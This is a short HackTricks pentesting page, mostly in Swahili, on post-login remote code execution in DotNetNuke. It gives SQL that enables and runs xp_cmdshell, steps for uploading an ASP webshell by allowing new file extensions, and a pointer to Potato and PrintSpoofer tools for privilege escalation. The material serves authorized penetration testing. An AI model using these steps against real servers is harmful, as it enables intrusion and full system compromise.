DotNetNuke (DNN)

Reading time: 2 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

DotNetNuke (DNN)

Ikiwa unaingia kama meneja katika DNN ni rahisi kupata RCE.

RCE

Kupitia SQL

Konsoli ya SQL inapatikana chini ya ukurasa wa Settings ambapo unaweza kuwezesha xp_cmdshell na kufanya amri za mfumo wa uendeshaji.

Tumia mistari hii kuwezesha xp_cmdshell:

sql
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE

Na bonyeza "Run Script" ili kuendesha sentensi hizo za sQL.

Kisha, tumia kitu kama ifuatavyo kuendesha amri za OS:

sql
xp_cmdshell 'whoami'

Via ASP webshell

Katika Settings -> Security -> More -> More Security Settings unaweza kuongeza nyongeza mpya zinazoruhusiwa chini ya Allowable File Extensions, na kisha kubonyeza kitufe cha Save.

Ongeza asp au aspx na kisha katika /admin/file-management pakia asp webshell inayoitwa shell.asp kwa mfano.

Kisha upate /Portals/0/shell.asp ili kufikia webshell yako.

Privilege Escalation

Unaweza kuinua mamlaka kwa kutumia Potatoes au PrintSpoofer kwa mfano.

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks